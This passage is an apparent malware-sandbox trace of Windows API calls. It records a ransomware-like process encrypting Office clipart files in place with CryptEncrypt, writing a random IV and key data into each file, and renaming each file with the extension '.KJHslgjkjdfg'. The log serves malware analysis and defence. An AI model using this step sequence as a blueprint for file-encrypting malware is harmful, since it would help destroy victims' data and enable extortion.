lpOverlapped=0x0) returned 1 [0179.767] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xae10, dwBufLen=0xae10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xae10) returned 1 [0179.768] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.768] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xae10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xae10, lpOverlapped=0x0) returned 1 [0179.768] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.768] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xaee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.768] SetEndOfFile (hFile=0x114) returned 1 [0179.772] GetProcessHeap () returned 0x2a0000 [0179.772] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.772] GetProcessHeap () returned 0x2a0000 [0179.772] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf.kjhslgjkjdfg")) returned 1 [0179.773] CloseHandle (hObject=0x114) returned 1 [0179.773] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198712.WMF", cAlternateFileName="")) returned 1 [0179.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.774] GetProcessHeap () returned 0x2a0000 [0179.774] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.774] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.774] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.775] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0179.777] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.777] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.777] GetProcessHeap () returned 0x2a0000 [0179.777] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.777] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.777] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.777] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.777] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.777] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.778] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.778] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.778] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.778] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.778] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.778] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.778] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe17a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe17a, lpOverlapped=0x0) returned 1 [0179.780] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe180, dwBufLen=0xe180 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe180) returned 1 [0179.781] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.781] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe180, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe180, lpOverlapped=0x0) returned 1 [0179.781] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.781] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.781] SetEndOfFile (hFile=0x114) returned 1 [0179.784] GetProcessHeap () returned 0x2a0000 [0179.784] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.784] GetProcessHeap () returned 0x2a0000 [0179.784] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf.kjhslgjkjdfg")) returned 1 [0179.786] CloseHandle (hObject=0x114) returned 1 [0179.786] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x714e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199279.WMF", cAlternateFileName="")) returned 1 [0179.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.787] GetProcessHeap () returned 0x2a0000 [0179.787] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.787] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.787] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.788] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0179.790] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.790] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.790] GetProcessHeap () returned 0x2a0000 [0179.790] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.790] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.790] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.790] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.790] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.790] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.790] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.791] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.791] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.791] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.791] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.791] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.791] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x714e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x714e, lpOverlapped=0x0) returned 1 [0179.792] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7150, dwBufLen=0x7150 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7150) returned 1 [0179.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.792] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7150, lpOverlapped=0x0) returned 1 [0179.793] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.793] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.793] SetEndOfFile (hFile=0x114) returned 1 [0179.796] GetProcessHeap () returned 0x2a0000 [0179.796] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.796] GetProcessHeap () returned 0x2a0000 [0179.796] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.796] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf.kjhslgjkjdfg")) returned 1 [0179.797] CloseHandle (hObject=0x114) returned 1 [0179.797] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c4e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199303.WMF", cAlternateFileName="")) returned 1 [0179.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.799] GetProcessHeap () returned 0x2a0000 [0179.799] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.799] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.799] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.799] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0179.802] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.802] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.802] GetProcessHeap () returned 0x2a0000 [0179.802] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.802] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.802] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.802] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.802] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.802] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.802] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.803] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.803] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.803] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.803] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7c4e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7c4e, lpOverlapped=0x0) returned 1 [0179.804] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c50) returned 1 [0179.805] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.805] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7c50, lpOverlapped=0x0) returned 1 [0179.805] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.805] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.805] SetEndOfFile (hFile=0x114) returned 1 [0179.811] GetProcessHeap () returned 0x2a0000 [0179.811] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.811] GetProcessHeap () returned 0x2a0000 [0179.811] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.811] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf.kjhslgjkjdfg")) returned 1 [0179.813] CloseHandle (hObject=0x114) returned 1 [0179.813] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc37e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199307.WMF", cAlternateFileName="")) returned 1 [0179.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.814] GetProcessHeap () returned 0x2a0000 [0179.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.814] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.814] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0179.817] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.817] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.817] GetProcessHeap () returned 0x2a0000 [0179.817] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.817] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.817] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.817] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.818] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.818] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.818] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.818] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.818] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.818] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.818] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.818] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.818] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc37e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc37e, lpOverlapped=0x0) returned 1 [0179.820] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc380, dwBufLen=0xc380 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc380) returned 1 [0179.820] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.821] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc380, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc380, lpOverlapped=0x0) returned 1 [0179.821] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.821] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.821] SetEndOfFile (hFile=0x114) returned 1 [0179.824] GetProcessHeap () returned 0x2a0000 [0179.824] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.824] GetProcessHeap () returned 0x2a0000 [0179.824] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 